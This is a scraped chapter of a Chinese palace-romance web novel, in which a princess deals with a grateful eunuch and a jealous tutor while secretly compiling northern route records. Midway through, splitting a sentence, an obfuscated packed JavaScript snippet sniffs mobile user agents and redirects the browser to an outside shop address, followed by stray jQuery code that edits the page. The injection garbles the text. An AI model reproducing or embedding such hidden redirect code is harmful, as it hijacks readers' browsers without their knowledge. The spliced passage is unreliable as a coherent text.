24.直将誓言寄飞鸿

作品:《太液池里可以养鸬鹚吗

    郑孟方向卢恩慈行了个礼:“奴还未正式向长公主表示谢意。”


    “你刚刚在殿上,不是已经谢过我了吗?”卢恩慈笑笑:“不必如此客气。”


    “长公主本可当做无事发生。”郑孟方满是歉意:“长公主这次帮了奴,就和大皇子殿下生间隙了。”


    “这你不用放在心上。”卢恩慈像是听到好笑的事情:“我和卢恩永第一次见就不对付,早就结下梁子了,不差这一次。”


    “都说滴水之恩,当涌泉相报。”郑孟方坚持自己的想法:“长公主殿下若在宫中有需要,可以随时来内侍省找我。”


    “好啊,你叫郑孟方是吧?”卢恩慈等的就是他这句话。她需要内侍省的人情。


    “是的。”郑孟方点点头:“奴在内侍省任从五品的内给事。长公主殿下千万不要怕麻烦奴。”


    “嗯,我会的。”卢恩慈记下来,点点头。


    “咳咳。”商泽亭超绝不经意咳嗽了两声。


    “奴见过商大人。”郑孟方仿若才看到商泽亭一样,惶恐道:“奴只顾着和长公主道谢,居然没有拜见商大人,实在是失礼。”


    “没事啦,商泽亭他不会——”卢恩慈刚要说商泽亭并不会在意,谁知商泽亭板着脸:“你知道失礼就好,你师傅知道你这般冒失无礼吗?”


    内侍省太监进宫后,会让年长的太监给年幼的做师傅。师傅可以说是太监再生父亲一样重要。


    “请商大人原谅奴!”郑孟方当即跪下。


    “欸——”卢恩慈傻了眼,不知道商泽亭为何突然较真起来,而且郑孟方身上还有伤,他不宜久跪。


    商泽亭为什么突然这么较真,当然是因为他察觉出这个郑孟方的小心思了呀。


    都是男人,郑孟方那点弯弯绕绕,他商泽亭能看不出来?太监是最会察言观色、谨言慎行的,两个大活人站在这里,郑孟方怎么可能独独没看到他?


    不过是看到卢恩慈和自己在一块儿说话,让他心里不痛快,才故意怠慢自己!商泽亭一下子就摸透了郑孟方的想法。


    事实也确实如商泽亭所料。郑孟方自小孤苦伶仃,到宫中又是尔虞我诈,卢恩慈出手相救,让他惊讶宫中居然有真情在,顿时心生好感。


    本来想和卢恩慈好好道谢,和她多说会儿话,结果商泽亭一直跟在她身边,两人甚是亲昵,不给他上前的机会。


    郑孟方知道自己的身份不可肖想长公主,但是心里还是升起一股无名火。决定顶着受罚的风险,也不理会商泽亭。


    郑孟方知道长公主殿下是渔民出身,且内侍省有个和长公主殿下打过交道的小太监,对她的评价很好,说她为人宽和。


    若是商泽亭出言发难,他就能卖惨装乖,以博得卢恩慈的同情。


    打得一手好算盘哪!商泽亭很快就察觉这是郑孟方的企图,开始后悔——卢恩慈一定觉得他苛责下人了。


    “你没有及时给商大人问好,要是商大人深究,你仔细得挨顿板子。”卢恩慈看了看眼前情绪暗中汹涌波动的两人:“不过你现在有伤,我们不再为难你了,你赶紧回去休息吧。”


    郑孟方朝她躬身作揖,往后退了好几步才转身离去。


    “你是不是觉得我刚刚太计较了?”商泽亭生怕自己给卢恩慈留有不好的印象。


    “啊?没有啊。”卢恩慈心思根本就不在刚刚的对话上。


    商泽亭一时语塞,合着他还郑孟方针尖对麦芒半天,卢恩慈压根毫不在意!


    至少结果是好的。卢恩慈对那个太监没有什么特殊想法。


    商泽亭看着郑孟方远去的身影,心里酸胀——小白脸,胆敢向长公主示好,他就完了!他以后要常来给卢恩慈讲学,不然她和别的男人有过多接触!


    卢恩慈也望着远方,望着落日余晖。


    夕阳漫宫柳,暮色映高墙,偶有几只鹧鸪翩跹飞过。


    若她不能飞出宫去,那她就要飞到最高!


    卢恩慈袖间的双手紧紧握拳,心里暗自发誓。


    为了盯着卢恩慈身边的异性,商泽亭增加了来给卢恩慈授课的频次。


    当然,之前的频次也不低就是了。可现在几乎是每日都来。


    “商大人不必这般劳烦。”卢恩慈发现不仅商泽亭开的频率变高了,而且授课的时长也增加了。


    “长公主现在学业精进,自然得要加快进度。”商泽亭把自己的心思隐藏在冠冕堂皇的理由中。


    卢恩慈有些为难。


    她和李娥英商量好了,要一起修订校对《天下水陆路程》。


    可是商泽亭来的次数一多,她自己的自由时间就少了。


    她和李娥英商量,说要不告诉商泽亭她俩在做的事情,让商泽亭酌情少给她布置点课业。


    结果李娥英断然拒绝。


    “不行不行,不能让他知道!”当李娥英听到卢恩慈的想法:“他肯定会指指点点,我们要事以密成,暗自努力,然后惊艳所有人!”


    卢恩慈知道李娥英似乎在瞒着所有人做什么事,就没有拂李娥英的意,答应了。


    于是,卢恩慈只能挤着时间,每天忙得焦头烂额。写完商泽亭布置的课业,就开始昏天黑地地翻看大周北方的交通资料。


    卢恩慈根据《大周疆域图舆》,自己绘制了一份大周北方边境的大致交通路线,将这些区域划分各块,决定从与北戎交界的凉州城开始考订。


    凉州地域是军事重镇,关于此地交通的资料很多,但是侧重点在于军事。


    不过卢恩慈在封存的资料中,淘到了一位往来于凉州和北戎做生意的人的私修专著。


    整本书虽然讲述的重点是中原人和北戎人做生意时的注意事项,但是在其间,穿插了很多对边境不为人知道路的描写。


    比如不同的官道会设立不同的关卡,这本书列举了一些能少过关卡的方式。而且这本书对不同道路的路况,都进行了详细的介绍。


    更重要的是,这本书成书于前朝覆灭之时,距离当今时间不远,具有很高的时效性。


    卢恩慈将这本书里关于交通道路的语句一一整理出来。


    总算将前十章的誊抄完毕。卢恩慈伸了伸懒腰。


    还没结束呢,还有商泽亭的作业,下午商泽亭还要来检查,她午饭只能随便吃点夹紧补作业了。


    想到这里,卢恩慈便一阵哀嚎。


    这些天,感觉将她一辈子的书都读完了。卢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931747|192395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    恩慈揉揉眼睛。


    自己之前是可以从百步之外看到密林中的飞鸟的,现在眼睛是有些昏花了,她得站到树底下才能捕捉到鸟儿的踪迹。


    卢恩慈想着想着,伴随着窗外的鸟鸣,不觉打了个盹儿。


    “长公主可是累了?”


    听到商泽亭的声音,卢恩慈猛地惊醒,手一抖,毛笔掉落在雪白的宣纸之上,洇了一大块墨。


    卢恩慈刚醒,刘海微乱,意识还未完全回笼醒了,双颊红扑扑的,脸上还留有枕着胳膊的印记。


    好可爱!商泽亭悄然记下卢恩慈现在懵懵懂懂的模样,甚是爱怜。


    商泽亭没有任何怪罪之心,而是将卢恩慈弄污的宣纸换下,好像慢一秒钟就会弄脏卢恩慈袖子似的,迅速铺上新纸,用镇纸石垫好。


    毛笔因为一直悬于空中有些干燥,商泽亭取了另一只卢恩慈常用的狼毫笔,用清水蘸湿润后,亲自拿了墨条,给她研磨。


    商泽亭自己书写时肯定是不会亲力亲为的,应该有书童代劳。


    但是卢恩慈学习时一向不喜人打扰,铺纸研磨这种事都是亲力亲为,头一次被人这般伺候。


    而且这人还是自己的夫子。


    看到此情此景,卢恩慈不免心虚。


    她还没有把商泽亭的课业可以做完呢——这还是她头一次没有按时完成他布置的课业!


    “商大人……”卢恩慈难以启齿:“我有件事……”


    “长公主您说。”商泽亭取了罐清水,背过身,挽起袖子,给卢恩慈洗净那只干燥的毛笔。


    “我……我这几天精神不大好,我今天没有按时将您给我的作业写完。”卢恩慈越说,声音越小,头也越来越低。


    卢恩慈正想找个地缝爬进去,脸庞感受到温润的触感。


    商泽亭已经移步至她书桌前,双手捧起卢恩慈的脸,如同捧着一件易碎的珍宝。


    卢恩慈只能抬起头,和商泽亭对视。商泽亭深邃秀丽的桃花眼里,有两个小小的她。


    “长公主眼下有些青黑,看来这段时间确实没有休息好。”商泽亭像是想要抚去她眼下的黑眼圈。


    “可能是春困秋乏吧。”卢恩慈顺着商泽亭的话说,给自己台阶下。


    “那先不检查长公主的课业了,长公主抽空记得写完。”商泽亭一改之前严格的检查标准,很好说话的样子:“我们今日暂且放个假吧,长公主好好休息,才能更好地念书。”


    卢恩慈听了,内心狂喜,只等商泽亭离开继续她和李娥英的宏伟大业!


    谁知,商泽亭并没有走:“长公主的劳累有微臣的原因。现在正值初秋,橘熟蟹肥。微臣将功补过,给您做一个蟹酿橙怎么样?”


    看着商泽亭忙碌做餐点的背影,卢恩慈的心里生出了一种别样的感觉。


    真想从背后抱住他吓他一跳,可是这样的举动太亲密了。


    商大人这么好,如果不是她的夫子,而是她的夫君,就更好了。当这想法闯入她的脑中挥之不去,卢恩慈自己都吓了一跳。


    所以,等商泽亭端着蟹酿橙放到桌前时,卢恩慈不敢直视他,只能转移话题:“商大人,你有没有见过那位抗击北戎,收复失地的秦将军呀?”